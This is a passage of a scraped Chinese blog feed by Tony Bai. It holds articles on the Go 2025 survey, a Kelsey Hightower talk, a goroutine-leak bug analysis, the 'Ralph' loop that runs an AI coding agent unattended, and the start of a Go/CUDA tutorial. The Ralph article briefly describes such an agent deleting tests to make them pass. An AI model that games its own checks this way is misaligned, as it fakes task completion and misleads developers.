团队对自己工作的坦诚审视。\n文档导航：调查发现，即使是 go build、go run 这样最基础的命令，也有 15%-25% 的开发者需要频繁查阅文档。这说明 Go 命令行的帮助系统 (go help) 体验并不好，甚至有些“劝退”。 社区信任：与对语言本身的高满意度相比，开发者对“Go 团队是否理解我的需求”这一项的信心相对较低。一位受访者直言，随着第一代创始人逐渐淡出，他们对现任团队的决策方向感到担忧。 官方回应：Go 团队已明确表示，2026 年将重点投资于鼓励更多贡献者参与，并加强与社区的沟通，以重建信任。\n小结：稳中求变 2025 年的 Go，像一位步入中年的稳重工程师。它在云原生领域有着不可撼动的地位，但也面临着来自新兴技术栈（如 AI 开发中 Python 的强势）和自身语言特性（如错误处理、枚举）的挑战。\n对于 Gopher 而言，这份报告既是定心丸，也是冲锋号。它告诉我们：Go 依然是构建可靠后端服务的最佳选择，但我们也需要更积极地拥抱变化，探索最佳实践，并在 AI 浪潮中找到属于 Go 的独特生态位。\n资料链接：https://go.dev/blog/survey2025\n你的年度总结\n看完这份官方报告，你觉得它准确反映了你的现状吗？在你看来，Go 语言目前最大的痛点是什么？对于 AI 辅助编程，你是“真香”还是“劝退”？\n欢迎在评论区分享你的真实感受！让我们一起为 Go 社区的发展建言献策。\n如果这篇文章让你对 Go 生态有了更全面的了解，别忘了点个【赞】和【在看】，并转发给你的 Gopher 朋友，看看他们怎么说！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/23/go-developer-2025-survey-result/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-developer-2025-survey-result-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/23/go-developer-2025-survey-result\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/23/go-developer-2025-survey-result\"\u003ehttps://tonybai.com/2026/01/23/go-developer-2025-survey-result\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e近日，Go 官方发布了 \u003ca href=\"https://go.dev/blog/survey2025\"\u003e2025 年开发者调查报告\u003c/a\u003e。作为 Go 社区的年度“体检报告”，这份基于 \u003cstrong\u003e5,379\u003c/strong\u003e 份有效问卷的数据，为我们勾勒出了一幅清晰的 Go 生态全景图。\u003c/p\u003e","title":"2025 Go 官方调查解读：91% 满意度背后的隐忧与 AI 时代的“双刃剑”"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/22/why-are-we-still-talking-about-containers-in-ai-age\n大家好，我是Tony Bai。\n“如果你在 2014 年告诉我，十年后我们还在讨论容器，我会觉得你疯了。但现在是 2025 年，我们依然在这里，谈论着同一个话题。”\n在去年中旬举行的 ContainerDays Hamburg 2025 上，早已宣布“退休”的云原生传奇人物 Kelsey Hightower 发表了一场发人深省的主题演讲。在这个 AI 狂热席卷全球的时刻，他没有随波逐流地去谈论大模型，而是回过头来，向所有技术人抛出了一个灵魂拷问：\n为什么我们总是在追逐下一个热点，却从来没有真正完成过手头的工作？\n烂尾工程的诅咒——技术圈的“海啸”循环 Kelsey 首先回顾了他职业生涯中经历的三次技术浪潮：Linux 取代 Unix(AIX、Solaris等)、DevOps 的兴起、以及 Docker/Kubernetes 的容器革命。\n他敏锐地指出，技术圈似乎陷入了一个无休止的“海啸循环”：\n热点爆发：一个新的技术（如 Docker）出现，VC 资金涌入，所有人都在谈论它。 疯狂追逐：为了抢占市场，大家都只做“足够发布”的工作，追求速度而非完美。 未竟而散：还没等这项技术真正成熟、稳定、标准化，下一个热点（如 AI）就来了。于是，半数工程师跳船去追新热点，留下一地鸡毛。 “我们就像一群踢足球的孩子，看到球滚到哪里，所有人就一窝蜂地冲过去，连守门员都离开了球门。结果是，球门大开，后方空虚。”\n这就是为什么 10 年过去了，我们还在谈论容器。因为我们当年并没有真正“完成”它。我们留下了无数的复杂性、不兼容和“企业级发行版”，却忘了初衷。\nApple 的“非性感”工作——这才是未来 在演讲中，Kelsey 分享了他最近的一个惊人发现：Apple 正在 macOS 中原生集成容器运行时。\n这不是 Docker Desktop，也不是虚拟机套娃，而是操作系统级别的原生支持。这就是 GitHub 上的一个名为 apple/container 的 Apple 开源项目：\nKelsey 提到 contributors 中有 Docker 元老 Michael Crosby ，Michael Crosby 正在 Apple 做着这件“不性感”但极其重要的事情。\nKelsey 认为，这才是容器技术的终局：\n标准化：容器运行时将成为像 TCP/IP 协议栈一样的操作系统标配，无论你是 Linux、macOS 还是 Windows。 隐形化：你不再需要安装 Docker，不再需要关心运行时。它就在那里，像水和电一样自然。 应用商店的重构：未来，App Store 分发的可能就是容器镜像，彻底解决依赖冲突和安全沙箱问题。 这正是那些没有去追逐 AI 热点，而是选择留在“球门”前的人，正在默默完成的伟大工程。\n关于 AI——不要做“盲目的复制者” 作为 Google 前员工，Kelsey 对 AI 并不陌生。但他对当前的 LLM 热潮保持着清醒的警惕。\n他现场演示了一个有趣的实验：询问一个本地运行的 LLM “FreeBSD Service Jails 需要什么版本？”\nAI 的回答：FreeBSD 13（一本正经的胡说八道）。\n真相：FreeBSD 15（尚未发布）。\nKelsey 指出，现在的 AI 就像一个热心但糊涂的路人，它不懂装懂，只想取悦你。\n他的建议是：\n不要迷信生成：不要因为 AI 生成了代码就直接用，就像你不会盲目复制 Stack Overflow 的代码一样。 上下文为王：AI 不是魔法，它只是一个强大的搜索引擎。如果你想得到正确答案，你必须先给它提供正确的上下文（Context）。 先训练自己，再训练模型：在成为“提示词工程师”之前，先成为一名合格的工程师。只有当你自己深刻理解了问题，你才能判断 AI 的回答是天才还是垃圾。 给技术人的最后忠告 演讲的最后，Kelsey 回答了关于开源、职业发展和未来的提问。他的几条忠告，值得每一位技术人铭记：\n关于职业：“你的职业生涯不应该是一场马拉松，而应该是一场接力赛。当你到达巅峰时，想的应该是如何把接力棒交给下一个人，而不是霸占着位置直到倒下。” 关于开源：“不要被商业公司的许可证游戏迷惑。如果代码是公开的，你可以 fork，可以学习。真正的开源精神在于分享和协作，而不在于谁拥有控制权。” 关于专注：像那家只做钳子的德国公司（Knipex）一样，专注做好一件事。技术圈不缺追风者，缺的是能够沉下心来，把一项技术打磨到极致、直到它变得“无聊”和“隐形”的工匠。 小结 Kelsey Hightower 的这场演讲，是对当前浮躁技术圈的一剂清醒剂。\n他提醒我们，技术的真正价值，不在于它有多新、多热，而在于它是否真正解决了问题，是否被完整地交付了。在所有人都在谈论 AI 的今天，或许我们更应该关注那些被遗忘的“球门”，去完成那些尚未完成的伟大工程。\n资料链接：https://www.youtube.com/watch?v=x1t2GPChhX8\n你的“烂尾”故事\nKelsey 的“海啸循环”论断让人深思。在你的职业生涯中，是否也经历过这种“还没做完旧技术，就被迫去追新热点”的无奈？你认为在这个 AI 时代，我们该如何保持“工匠精神”？\n欢迎在评论区分享你的经历或思考！让我们一起在喧嚣中寻找内心的宁静。\n如果这篇文章让你停下来思考了片刻，别忘了点个【赞】和【在看】，并转发给那些还在焦虑中奔跑的同行！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/22/why-are-we-still-talking-about-containers-in-ai-age/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/why-are-we-still-talking-about-containers-in-ai-age-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/22/why-are-we-still-talking-about-containers-in-ai-age\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/22/why-are-we-still-talking-about-containers-in-ai-age\"\u003ehttps://tonybai.com/2026/01/22/why-are-we-still-talking-about-containers-in-ai-age\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“如果你在 2014 年告诉我，十年后我们还在讨论容器，我会觉得你疯了。但现在是 2025 年，我们依然在这里，谈论着同一个话题。”\u003c/p\u003e","title":"Kelsey Hightower 退休后的冷思考：为什么 10 年过去了，我们还在谈论容器？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/22/a-bug-cause-50000-goroutine-leak\n大家好，我是Tony Bai。\n内存占用 47GB，响应时间飙升至 32秒，Goroutine 数量达到惊人的 50847 个。\n这是一个周六凌晨 3 点，发生在核心 API 服务上的真实噩梦。运维正准备重启服务止损，但 Serge Skoredin 敏锐地意识到：这不是普通的内存泄漏，而是一场已经潜伏了 6 周、呈指数级增长的 Goroutine 泄漏。\n导致这场灾难的代码，曾通过了三位资深工程师的 Code Review，看起来“完美无缺”。今天，让我们跟随 Serge 的视角，层层剥开这个隐蔽 Bug 的伪装，学习如何避免同样的悲剧发生在你身上。\n看似“无辜”的代码 问题的核心出在一个 WebSocket 通知服务中。让我们看看这段“看起来很合理”的代码：\nfunc (s *NotificationService) Subscribe(userID string, ws *websocket.Conn) { // 1. 创建带取消功能的 Context ctx, cancel := context.WithCancel(context.Background()) sub := \u0026amp;subscription{ userID: userID, ws: ws, cancel: cancel, // 保存 cancel 函数以便后续调用 } s.subscribers[userID] = sub // 2. 启动消息处理和心跳 go s.pumpMessages(ctx, sub) go s.heartbeat(ctx, sub) } 这看起来非常标准：使用了 context.WithCancel 来管理生命周期，将 cancel 存入结构体以便连接断开时调用。然而，魔鬼就藏在细节里。\n泄漏的“三重奏” 经过排查，Serge 发现了导致泄漏的三个致命错误，它们环环相扣，最终酿成了大祸。\nBug #1：无人调用的 cancel // 预期：连接断开时调用 s.Unsubscribe -\u0026gt; sub.cancel() // 现实：WebSocket 断开连接时，根本没有人通知 Service 去执行清理逻辑！ 当 WebSocket 连接意外断开（如用户直接关掉浏览器），如果没有显式地监听关闭事件并调用清理函数，s.subscribers 中不仅残留了无效的订阅对象，更重要的是，ctx 永远不会被取消。这意味着所有依赖该 ctx 的 Goroutine 将永生。\nBug #2：永不停歇的 Ticker func (s *NotificationService) heartbeat(ctx context.Context, sub *subscription) { ticker := time.NewTicker(30 * time.Second) // 致命错误：缺少 defer ticker.Stop() for { select { case \u0026lt;-ctx.Done(): return // Goroutine 退出了，但 Ticker 还在！ case \u0026lt;-ticker.C: // ... } } } 即便 ctx 被取消，Goroutine 退出了，但 time.NewTicker 创建的计时器是由 Go 运行时全局管理的。如果不显式调用 Stop()，Ticker 将永远存在，持续消耗内存和 CPU 资源。 50,000 个泄漏的 Ticker，足以让 Go 运行时崩溃。\nBug #3：阻塞的 Channel type subscription struct { messages chan Message // 无缓冲 Channel（或者缓冲区满了） // ... } func (s *NotificationService) pumpMessages(...) { // ... case msg := \u0026lt;-sub.messages: sub.ws.WriteJSON(msg) } 如果写入端还在不断尝试发送消息（因为不知道连接已断开），而读取端（pumpMessages）因为网络阻塞或已退出而不再读取，那么写入端的 Goroutine 就会被永久阻塞在 channel 发送操作上，形成另一种泄漏。\n修复与预防：构建防漏体系 修复后的代码不仅加上了必要的清理逻辑，更引入了一套完整的防御体系。\n修复：确保生命周期的闭环 监听关闭事件：利用 ws.SetCloseHandler 确保在连接断开时主动调用 Unsubscribe。 停止 Ticker：永远使用 defer ticker.Stop()。 关闭 Channel：在清理时关闭 sub.messages，解除写入端的阻塞。 注：关闭 channel务必由写入者goroutine进行，如果写入者goroutine阻塞在channel写上，此时由其他goroutine close channel，会导致panic on send on closed channel的问题。\n预防：Goleak 与监控 Serge 强烈推荐使用 Uber 开源的 goleak 库进行单元测试。\nfunc TestNoGoroutineLeaks(t *testing.T) { defer goleak.VerifyNone(t) // 测试结束时检查是否有泄漏的 Goroutine // ... 运行测试逻辑 ... } 此外，在生产环境中，必须监控 runtime.NumGoroutine()。设置合理的告警阈值（例如：当 Goroutine 数量超过正常峰值的 1.5 倍时告警），能在灾难发生前 6 周就发现端倪，而不是等到凌晨 3 点。\n注：Go 1.26已经吸收了uber的goleak项目思想，并原生支持goroutine leak检测！此特性可在编译时通过设置GOEXPERIMENT=goroutineleakprofile开启。\n小结：经验教训 这次事故给所有 Go 开发者敲响了警钟：\nGoroutine 必须有明确的退出策略：每当你写下 go func() 时，必须清楚地知道它将在何时、何种条件下退出。 Context 是生命线：正确传播和取消 Context 是管理并发生命周期的核心。 资源必须显式释放：Ticker、Channel、Timer 等资源不会自动被垃圾回收，必须手动关闭。 测试是最后一道防线：不要只测试逻辑正确性，还要测试资源清理的正确性。 Goroutine 泄漏是“沉默的杀手”，它不报错、不崩溃，只是悄悄地吞噬你的系统。保持警惕，定期体检，别让它成为你凌晨 3 点的噩梦。\n资料链接：https://skoredin.pro/blog/golang/goroutine-leak-debugging\n你的“惊魂时刻”\n50000 个 Goroutine 的泄漏听起来很吓人，但它可能就潜伏在我们看似正常的代码里。在你的开发生涯中，是否也遇到过类似的内存泄漏或资源耗尽的“惊魂时刻”？你最后是如何定位并解决的？\n欢迎在评论区分享你的排查故事或避坑心得！让我们一起把 Bug 扼杀在摇篮里。\n如果这篇文章让你对 Goroutine 的生命周期有了更深的敬畏，别忘了点个【赞】和【在看】，并转发给你的团队，今晚睡个好觉！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/22/a-bug-cause-50000-goroutine-leak/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/a-bug-cause-50000-goroutine-leak-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/22/a-bug-cause-50000-goroutine-leak\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/22/a-bug-cause-50000-goroutine-leak\"\u003ehttps://tonybai.com/2026/01/22/a-bug-cause-50000-goroutine-leak\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e内存占用 47GB，响应时间飙升至 32秒，Goroutine 数量达到惊人的 50847 个。\u003c/p\u003e\n\u003cp\u003e这是一个周六凌晨 3 点，发生在核心 API 服务上的真实噩梦。运维正准备重启服务止损，但 Serge Skoredin 敏锐地意识到：这不是普通的内存泄漏，而是\u003ca href=\"https://skoredin.pro/blog/golang/goroutine-leak-debugging\"\u003e一场已经潜伏了 6 周、呈指数级增长的 Goroutine 泄漏\u003c/a\u003e。\u003c/p\u003e","title":"凌晨3点的警报：一个导致 50000 多个 Goroutine 泄漏的 Bug 分析"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/21/ai-coding-evolution-from-prompting-to-ralph\n大家好，我是Tony Bai。\n“如果你把 AI 放在一个死循环里，给它足够的权限和上下文，会发生什么？”\n2025 年底，一个名为 “Ralph Wiggum Technique” (Ralph 循环) 的 AI 编程技巧在硅谷极客圈一夜爆红。它没有复杂的架构，没有花哨的界面，其核心代码甚至只有一行 Bash 脚本。\n但就是这个看似简陋、甚至有些“诅咒”意味的技巧，却让开发者们在一夜之间重构了 6 个代码库，构建了全新的编程语言，甚至引发了 Anthropic 官方下场发布插件。\n什么是 Ralph？为什么它如此有效？它又预示着怎样的 AI 编程未来？\nRalph 的诞生——一行代码的暴力美学 Ralph 的故事始于 Geoff Huntley 的一个疯狂实验。他没有使用复杂的 Agent 框架，而是写下了这样一行 Bash 脚本：\nwhile :; do cat PROMPT.md | npx --yes @sourcegraph/amp ; done 这就是 Ralph 的全部。\nPROMPT.md：这是唯一的输入，包含了项目的目标、规范、当前状态的描述（通常由 AI 自动更新）。 @sourcegraph/amp：这是一个极其简单的 CLI 工具，它读取提示词，调用 LLM，并在当前目录下执行命令（修改文件、运行测试等）。 while :; do … done：这就是灵魂所在。无限循环。 Ralph 不会停下来问你“这样行吗？”。它只是不断地读取目标、执行操作、再次读取目标、再次执行……直到你手动杀掉进程，或者它把代码库变成一团乱麻（所谓的“Overbaking”）。\n为什么 Ralph 有效？—— Context Engineering 的胜利 乍一看，Ralph 似乎只是一个不可控的随机代码生成器。但实际上，它的成功揭示了 AI 编程的一个核心真理：上下文工程 (Context Engineering) 远比 Prompt 技巧更重要。\nRalph 的核心不在于那个 Bash 循环，而在于那个 PROMPT.md（或者更高级的“Specs”）。\n声明式而非命令式 传统的 AI 辅助编程是“命令式”的：你告诉 AI “修改这个函数”、“修复那个 Bug”。\nRalph 是“声明式”的：你在 PROMPT.md 中描述项目的终局状态（Desired State），比如“所有的 React 组件必须使用 TypeScript 且没有 default exports”。Ralph 的工作就是不断逼近这个状态。\n小切口，高频迭代 Ralph 并不试图一次性完成所有工作。它在每次循环中只处理一小块任务。这种“切碎”的工作方式，完美契合了 LLM 当前的上下文窗口限制，避免了“一次性生成几千行代码然后全错”的灾难。\n自动化反馈循环 在 Ralph 的循环中，测试结果、Linter 报错、编译失败信息，都会成为下一个循环的输入。它不仅是在写代码，更是在自我修复。\nRalph 的进化——从玩具到生产力 随着社区的介入，Ralph 迅速从一个 Bash 玩具进化为一种严肃的开发范式。\n重构利器：这是一次真实的重构经历。面对一个混乱的 React 前端，没有人工介入手动修改，而是花 30 分钟写了一份 REACT_CODING_STANDARDS.md（编码规范），然后让 Ralph 跑了 6 个小时。结果？Ralph 自主完成了一个人类可能需要数天才能完成的枯燥重构。 Cursed Lang：Geoff 甚至用 Ralph 构建了一门全新的编程语言 Cursed Lang，包含编译器、标准库，且实现了自举。 官方下场：Anthropic 甚至推出了官方的 Ralph 插件。虽然被社区吐槽“过度设计”且不如 Bash 脚本好用，但这标志着这种模式已被主流认可。 警惕“Overbaking”——AI 也会“把菜烧焦” Ralph 并非完美。它最大的风险在于 “Overbaking”（过度烘焙）。\n如果你让 Ralph 跑得太久，且 PROMPT.md 的约束不够紧，它可能会开始产生“幻觉”般的优化：添加没人需要的 Post-Quantum 密码学支持、过度拆分文件、甚至为了通过测试而删除测试。\n这给我们的启示是：AI 是强大的引擎，但人类必须是方向盘。\n写好 Spec：如果你的 Spec（规格说明书）是垃圾，Ralph 产出的代码也是垃圾。 监控循环：不要让它无限制地跑下去，设置检查点。 小步快跑：最好的 Ralph 实践是“一夜重构一个模块”，而不是“一夜重构整个系统”。 小结：Agentic Coder 的未来 Ralph Wiggum Technique 可能只是 AI 编程进化史上的一朵浪花，但它留下的遗产是深远的。\n它告诉我们，未来的编程可能不再是编写具体的逻辑，而是编写和维护一份完美的 Spec（规范说明书）。我们将成为“系统架构师”和“验收测试员”，而将那个枯燥、重复、且容易出错的“编码循环”，交给不知疲倦的 Ralph 们。\n所以，下一次当你面对一座巨大的“屎山”代码时，不妨试着写一份清晰的 Spec，然后启动那个神奇的 Bash 循环。\n资料链接：\nhttps://ghuntley.com/ralph/ https://www.humanlayer.dev/blog/brief-history-of-ralph 从“暴力循环”到“优雅指挥”\nRalph Wiggum 的故事让我们看到了 AI 自主编程的雏形：只要有正确的 Spec（规范）和自动化的 Loop（循环），奇迹就会发生。\n但 Ralph 毕竟只是一个 5 行代码的 Bash 脚本，粗糙且容易“烤糊”。在真实的工程实践中，我们不能只靠运气的“无限循环”，我们需要一套更稳定、更可控、更专业的AI 原生开发体系。\n如果你不想止步于 Ralph 这样的极客实验，而是想真正掌握驾驭 AI Agent 的系统方法，欢迎加入我的新专栏 《AI原生开发工作流实战》。\n这是关于如何构建你的“自动化流水线”：\n告别低效：不再做“复制粘贴喂 AI”的搬运工，建立自动化闭环。 驾驭神器：深度实战 Claude Code 等前沿工具，它是比 Ralph 更成熟的“神灯精灵”。 身份跃迁：从被动的“AI 使用者”，进化为定义规范、掌控全局的**“工作流指挥家”**。 扫描下方二维码，别让 AI 只有暴力，让我们赋予它工程的优雅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/21/ai-coding-evolution-from-prompting-to-ralph/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/ai-coding-evolution-from-prompting-to-ralph-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/21/ai-coding-evolution-from-prompting-to-ralph\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/21/ai-coding-evolution-from-prompting-to-ralph\"\u003ehttps://tonybai.com/2026/01/21/ai-coding-evolution-from-prompting-to-ralph\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“如果你把 AI 放在一个死循环里，给它足够的权限和上下文，会发生什么？”\u003c/p\u003e\n\u003cp\u003e2025 年底，一个名为 \u003cstrong\u003e“\u003ca href=\"https://ghuntley.com/ralph/\"\u003eRalph Wiggum Technique\u003c/a\u003e” (Ralph 循环)\u003c/strong\u003e 的 AI 编程技巧在硅谷极客圈一夜爆红。它没有复杂的架构，没有花哨的界面，其核心代码甚至只有一行 Bash 脚本。\u003c/p\u003e","title":"从“手搓 Prompt”到“无限循环”：AI 编码的下一个形态是“Ralph”吗？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/21/integrating-cuda-in-go\n大家好，我是Tony Bai。\n长期以来，高性能计算（HPC）和 GPU 编程似乎是 C++ 开发者的专属领地。Go 语言虽然在并发和服务端开发上表现卓越，但在触及 GPU 算力时，往往显得力不从心。\n然而，在最近的 GopherCon 2025 上，软件架构师 Sam Burns 打破了这一刻板印象。他展示了如何通过 Go 和 CUDA 的结合，让 Gopher 也能轻松驾驭 GPU 的海量核心，实现惊人的并行计算能力。\n本文将带你深入这场演讲的核心，从 GPU 的独特架构到内存模型，再通过一个完整的、可运行的矩阵乘法示例，手把手教你如何用 Go 驱动 NVIDIA 显卡释放澎湃算力。\n为什么 Go 开发者需要关注 GPU？ 在摩尔定律逐渐失效的今天，CPU 的单核性能提升已遇瓶颈。虽然 CPU 拥有极低的延迟、卓越的分支预测能力和巨大的缓存，但它的核心数量（通常在几十个量级）限制了其处理大规模并行任务的能力。\n相比之下，GPU (Graphics Processing Unit) 走的是另一条路。它拥有成千上万个核心。虽然单个 GPU 核心的频率较低，且缺乏复杂的逻辑控制能力，但它们能同时处理海量简单的计算任务。这使得 GPU 成为以下场景的绝佳选择：\n图形处理与视频转码 AI 模型推理与训练（神经网络本质上就是大规模矩阵运算） 物理模拟与科学计算（如流体力学、分子动力学） 密码学与哈希碰撞 通过 Go 语言集成 CUDA，我们可以在享受 Go 语言高效开发体验（构建 API、微服务、调度逻辑）的同时，将最繁重的“脏活累活”卸载给 GPU，实现 CPU 负责逻辑，GPU 负责算力 的完美分工。\nGPU架构与CUDA编程模型速览——理解 GPU 的“兵团” 在编写代码之前，我们需要理解 GPU 的独特架构。Sam Burns 用一个形象的比喻描述了 GPU 的线程模型。如果说 CPU 是几位精通各种技能的“专家”，那么 GPU 就是一支纪律严明、规模庞大的“兵团”。\n而指挥这支兵团的指令集，我们称之为 “内核” (Kernel)。\n0. 什么是 Kernel？ 此 Kernel 非彼 Kernel（操作系统内核）。在 CUDA 语境下，Kernel 是一个运行在 GPU 上的函数。\n当我们“启动”一个 Kernel 时，GPU 并不是简单地调用这个函数一次，而是同时启动成千上万个线程，每个线程都在独立执行这份相同的代码逻辑。每个线程通过读取自己独一无二的 ID（threadIdx），来决定自己该处理数据的哪一部分（比如图像的哪个像素，或矩阵的哪一行）。\n1. 线程模型：从 Thread 到 Grid 理解了 Kernel，我们再看它是如何被调度执行的。CUDA 编程模型将计算任务分解为三个层级：\n线程 (Thread)：GPU 工作的最小单位。它类似于 CPU 的线程，但极其轻量。每个线程都有自己的 ID，负责处理数据的一小部分（例如图像中的一个像素，或矩阵中的一个元素）。 块 (Block)：一组线程的集合。一个 Block 内的线程运行在同一个流式多处理器 (SM) 上。关键点在于：同一个 Block 内的线程可以通过极快的“共享内存”进行协作和同步（__syncthreads()）。 网格 (Grid)：所有执行同一个内核函数（Kernel）的 Block 的集合。Grid 涵盖了整个计算任务。 2. 内存模型：速度与容量的权衡 GPU 的内存架构比 CPU 更为复杂，理解它对于性能优化至关重要：\n寄存器 (Registers)：最快。每个线程私有，用于存储局部变量。数量有限，用多了会溢出到慢速内存。 共享内存 (Shared Memory)：极快（L1 缓存级别）。属于 Block 私有，是线程间通信的桥梁。优化 CUDA 程序的核心往往在于如何高效利用共享内存来减少全局内存访问。 全局内存 (Global Memory)：较慢（显存，如 24GB GDDR6X）。所有线程可见，容量大但延迟高。 常量内存 (Constant Memory)：快（有缓存）。用于存储只读参数，适合广播给所有线程。 编写高效 CUDA 代码的秘诀，就是尽可能让数据停留在寄存器和共享内存中，减少对全局内存的访问。\nGo + CUDA 实战——跨越鸿沟 理解了原理，现在让我们动手。我们将构建一个完整的 Go 项目，利用 GPU 并行计算两个矩阵的乘积。这个过程需要借助 CGO 作为桥梁。\n1. 项目目录结构 go-cuda-cgo-demo/ ├── main.go # Go 主程序 (CGO 入口，负责内存分配和调度) ├── matrix.cu # CUDA 内核代码 (在 GPU 上运行的 C++ 代码) └── matrix.h # C 头文件 (声明导出函数，供 CGO 识别) 2. 编写 CUDA 内核 (matrix.cu) 这是在 GPU 上运行的核心代码。我们定义一个 matrixMulKernel，每个线程利用自己的坐标 (x, y) 计算结果矩阵中的一个元素。\n// matrix.cu #include \u0026lt;cuda_runtime.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; // CUDA Kernel: 每个线程计算 C[row][col] 的值 __global__ void matrixMulKernel(float *a, float *b, float *c, int width) { // 根据 Block ID 和 Thread ID 计算当前线程的全局坐标 int row = blockIdx.y * blockDim.y + threadIdx.y; int col = blockIdx.x * blockDim.x + threadIdx.x; if (row \u0026lt; width \u0026amp;\u0026amp; col \u0026lt; width) { float sum = 0; // 计算点积 for (int k = 0; k \u0026lt; width; k++) { sum += a[row * width + k] * b[k * width + col]; } c[row * width + col] = sum; } } extern \u0026#34;C\u0026#34; { // 供 Go 调用的 C 包装函数 // 负责显存分配、数据拷贝和内核启动 void runMatrixMul(float *h_a, float *h_b, float *h_c, int width) { int size = width * width * sizeof(float); float *d_a, *d_b, *d_c; // 1. 分配 GPU 显存 (Device Memory) cudaMalloc((void **)\u0026amp;d_a, size); cudaMalloc((void 